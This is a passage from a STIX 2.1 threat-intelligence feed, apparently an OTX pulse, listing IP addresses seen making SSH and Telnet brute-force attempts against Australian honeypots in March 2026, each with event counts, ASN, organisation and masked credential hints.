      "valid_until": "2026-04-04T19:15:11.000Z"
    },
    {
      "created": "2026-03-03T19:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 156. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 7713. Organisation(s): PT Telekomunikasi Indonesia. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, !******z, 8****7, B********3.",
      "id": "indicator--367bc302-8cbb-4161-8e6e-fef2f7f419eb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '222.124.17.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T19:15:13.000Z",
      "valid_until": "2026-04-04T19:15:11.000Z"
    },
    {
      "created": "2026-03-03T19:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): r**t. Passwords observed (masked): a***n, r**t.",
      "id": "indicator--ad940ac8-7168-4e17-b0c3-127809809844",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '34.84.162.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T19:15:13.000Z",
      "valid_until": "2026-04-04T19:15:11.000Z"
    },
    {
      "created": "2026-03-03T19:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 24955. Organisation(s): JSC Ufanet.",
      "id": "indicator--38c4f427-75b2-4aa3-96bc-2a256975f4d4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '46.191.141.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T19:15:13.000Z",
      "valid_until": "2026-04-04T19:15:11.000Z"
    },
    {
      "created": "2026-03-03T19:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 136907. Organisation(s): HUAWEI CLOUDS. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, R******#.",
      "id": "indicator--8923260f-1a87-40dd-9585-caea129b3848",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '49.0.206.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T19:15:13.000Z",
      "valid_until": "2026-04-04T19:15:11.000Z"
    },
    {
      "created": "2026-03-03T19:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): k******h. Passwords observed (masked): k******h.",
      "id": "indicator--35b1e94a-f66b-4630-9139-8194865707d9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '69.6.251.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T19:15:13.000Z",
      "valid_until": "2026-04-04T19:15:11.000Z"
    },
    {
      "created": "2026-03-03T19:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FI. ASN(s): 24940. Organisation(s): Hetzner Online GmbH. Usernames observed (masked): r**t. Passwords observed (masked): -**************-, q***********4.",
      "id": "indicator--4b1ed994-d4e9-48f3-ad4b-f91065e38290",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '95.217.137.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T19:15:13.000Z",
      "valid_until": "2026-04-04T19:15:11.000Z"
    },
    {
      "created": "2026-03-03T20:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 102. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****1, 1****3, 1***5, 1****6, 1******8.",
      "id": "indicator--a6001d6b-7435-46f8-ab43-96d9dbad2c4d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T20:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '104.236.106.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T20:15:14.000Z",
      "valid_until": "2026-04-04T20:15:11.000Z"
    },
    {
      "created": "2026-03-03T20:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Heralding. Target ports: 110. Source country: ID. ASN(s): 13335. Organisation(s): Cloudflare, Inc.. Usernames observed (masked): **@bardengineering.com, w*******r@bardengineering.com. Passwords observed (masked): B*****************!, b*****************6.",
      "id": "indicator--d39d0b1f-76e7-4bef-81d9-a5404406865d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T20:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '104.28.221.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T20:15:14.000Z",
      "valid_until": "2026-04-04T20:15:11.000Z"
    },
    {
      "created": "2026-03-03T20:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 38. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 134420. Organisation(s): Chongqing Telecom. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1**********E, 3***********4, 3**********4, C******6, a********7.",
      "id": "indicator--6fd24f85-1ffa-4bac-a62d-5e9ef2db2fe4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T20:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '113.249.111.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T20:15:14.000Z",
      "valid_until": "2026-04-04T20:15:11.000Z"
    },
    {
      "created": "2026-03-03T20:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 32. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): a***n, i*******r, r**t, u**t, u**r. Passwords observed (masked): a***n, i*******r, u**t, u**r.",
      "id": "indicator--6184d0f4-e69c-4b47-9eeb-d30d3d3c027e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T20:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '116.99.171.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T20:15:14.000Z",
      "valid_until": "2026-04-04T20:15:11.000Z"
    },
    {
      "created": "2026-03-03T20:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 126. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): *, **, ***, 1**4, 1***5.",
      "id": "indicator--aefe426f-092c-4f97-8df6-d36d51468ded",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T20:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '137.184.205.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T20:15:14.000Z",
      "valid_until": "2026-04-04T20:15:11.000Z"
    },
    {
      "created": "2026-03-03T20:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): a***n, r**t.",
      "id": "indicator--402f9dc6-b683-471e-bf7f-67068fe1b985",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T20:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '178.62.234.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T20:15:14.000Z",
      "valid_until": "2026-04-04T20:15:11.000Z"
    },
    {
      "created": "2026-03-03T20:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--c1b4eb44-6f6f-446b-ab7b-aee02ba971e9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T20:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '216.180.246.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T20:15:14.000Z",
      "valid_until": "2026-04-04T20:15:11.000Z"
    },
    {
      "created": "2026-03-03T20:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 56041. Organisation(s): China Mobile communications corporation.",
      "id": "indicator--64fed0eb-e52f-4917-8ede-bfc1223ff07c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T20:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '39.172.98.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T20:15:14.000Z",
      "valid_until": "2026-04-04T20:15:11.000Z"
    },
    {
      "created": "2026-03-03T20:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 66. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, 1****6, 1******8, 1*******9, a***n.",
      "id": "indicator--621825ec-81e1-41b7-b357-5b09b139ae47",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T20:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.225.73.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T20:15:14.000Z",
      "valid_until": "2026-04-04T20:15:11.000Z"
    },
    {
      "created": "2026-03-03T20:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 52. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 22612. Organisation(s): Namecheap, Inc.. Usernames observed (masked): r**t. Passwords observed (masked): 1****e, 1*******y, q****y, r**t, r***1.",
      "id": "indicator--deb01864-1fe8-4eb1-8030-33fe94c3db4b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T20:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.29.128.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T20:15:14.000Z",
      "valid_until": "2026-04-04T20:15:11.000Z"
    },
    {
      "created": "2026-03-03T21:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 55. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 137718. Organisation(s): Beijing Volcano Engine Technology Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): !******r, 1******2, 1***4, 1**************$, G**********6.",
      "id": "indicator--ea7273eb-b798-4821-abc4-7cb9a557cb56",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T21:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.126.67.255']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T21:15:08.000Z",
      "valid_until": "2026-04-04T21:15:05.000Z"
    },
    {
      "created": "2026-03-03T21:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 174. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 1***4, 1**************$, 3**********4, B********3.",
      "id": "indicator--b5841008-c8cd-43e1-a346-21f3751ad209",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T21:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.47.141.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T21:15:08.000Z",
      "valid_until": "2026-04-04T21:15:05.000Z"
    },
    {
      "created": "2026-03-03T21:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 216. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, !******r, 1******2, 1***4.",
      "id": "indicator--7c07bc7d-2475-4c39-acfb-864bee039ba7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T21:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.82.92.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T21:15:08.000Z",
      "valid_until": "2026-04-04T21:15:05.000Z"
    },
    {
      "created": "2026-03-03T21:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, B********3.",
      "id": "indicator--1714e6af-c3c9-4f4a-bbc0-633bf0b102c6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T21:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '104.199.176.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T21:15:08.000Z",
      "valid_until": "2026-04-04T21:15:05.000Z"
    },
    {
      "created": "2026-03-03T21:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 242. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): r**t, a***n, a****n, a***n, a**o. Passwords observed (masked): a***n, 1**1, 1******8, 7****6, P******d.",
      "id": "indicator--a0749bc3-f370-40c8-8ec4-99bb30c9a3de",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T21:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '116.99.173.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T21:15:08.000Z",
      "valid_until": "2026-04-04T21:15:05.000Z"
    },
    {
      "created": "2026-03-03T21:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 18126. Organisation(s): Chubu Telecommunications Company, Inc..",
      "id": "indicator--3fa467d0-6e96-4264-8007-e82f65e5fb46",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T21:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '118.106.202.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T21:15:08.000Z",
      "valid_until": "2026-04-04T21:15:05.000Z"
    },
    {
      "created": "2026-03-03T21:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 53. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1******X, 3**********4, a*********4, a****2, r******r.",
      "id": "indicator--6890cb18-723d-4594-8223-3e5027b0dd10",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T21:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '123.156.230.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T21:15:08.000Z",
      "valid_until": "2026-04-04T21:15:05.000Z"
    },
    {
      "created": "2026-03-03T21:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--f7c7419d-6b3b-41f8-aa28-7ce416a80fb0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T21:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '142.93.91.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T21:15:08.000Z",
      "valid_until": "2026-04-04T21:15:05.000Z"
    },
    {
      "created": "2026-03-03T21:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 176. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 55688. Organisation(s): PT. Beon Intermedia. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, !******r, 1******2, 1***4.",
      "id": "indicator--e37f115d-0a56-447d-a2d7-8485d85ed248",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T21:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '157.66.34.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T21:15:08.000Z",
      "valid_until": "2026-04-04T21:15:05.000Z"
    },
    {
      "created": "2026-03-03T21:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 46606. Organisation(s): Unified Layer. Usernames observed (masked): k******h. Passwords observed (masked): 1**4.",
      "id": "indicator--dc2b5f21-2c8e-420b-8dcf-446dd266087e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T21:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '162.240.234.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T21:15:08.000Z",
      "valid_until": "2026-04-04T21:15:05.000Z"
    },
    {
      "created": "2026-03-03T21:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 196. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, !******r, 1******2, 1***4.",
      "id": "indicator--11a84875-4ed4-445f-8515-b230b920ed9b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T21:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.154.6.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T21:15:08.000Z",
      "valid_until": "2026-04-04T21:15:05.000Z"
    },
    {
      "created": "2026-03-03T21:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1******@, 1********y, 1*****v.",
      "id": "indicator--8e1a67a8-b6af-44a7-a9ab-5145324fef54",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T21:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.227.3.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T21:15:08.000Z",
      "valid_until": "2026-04-04T21:15:05.000Z"
    },
    {
      "created": "2026-03-03T21:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 38. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 35100. Organisation(s): Patrik Lagerman. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, H*******@, P***********4, m******4.",
      "id": "indicator--63f4eca2-8b85-4a7d-a9a0-9cbc6e96d5a6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T21:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '171.25.158.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T21:15:08.000Z",
      "valid_until": "2026-04-04T21:15:05.000Z"
    },
    {
      "created": "2026-03-03T21:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 107. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 42624. Organisation(s): Global-Data System IT Corporation. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, !**********c, B********3, P***********4.",
      "id": "indicator--0aa94806-cceb-4525-a405-2cefd569db0d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T21:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.196.10.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T21:15:08.000Z",
      "valid_until": "2026-04-04T21:15:05.000Z"
    },
    {
      "created": "2026-03-03T21:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 88. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ET. ASN(s): 24757. Organisation(s): Ethiopian Telecommunication Corporation. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1******@, 1*****v, W**********4.",
      "id": "indicator--21a69a46-0311-49aa-9b45-dd7ad02b0fbf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T21:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '196.188.63.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T21:15:08.000Z",
      "valid_until": "2026-04-04T21:15:05.000Z"
    },
    {
      "created": "2026-03-03T21:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: DZ. ASN(s): 36891. Organisation(s): Sarl Icosnet.",
      "id": "indicator--75407c0e-846c-4893-9f4a-ef2aff681089",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T21:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '197.140.29.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T21:15:08.000Z",
      "valid_until": "2026-04-04T21:15:05.000Z"
    },
    {
      "created": "2026-03-03T21:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 80. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !******5, 1******4, 1*******r, 3***********4, 3**********4.",
      "id": "indicator--cdecd110-1dd2-4986-b3d8-a41d70edb3fc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T21:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '221.161.235.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T21:15:08.000Z",
      "valid_until": "2026-04-04T21:15:05.000Z"
    },
    {
      "created": "2026-03-03T21:15:08.000Z",
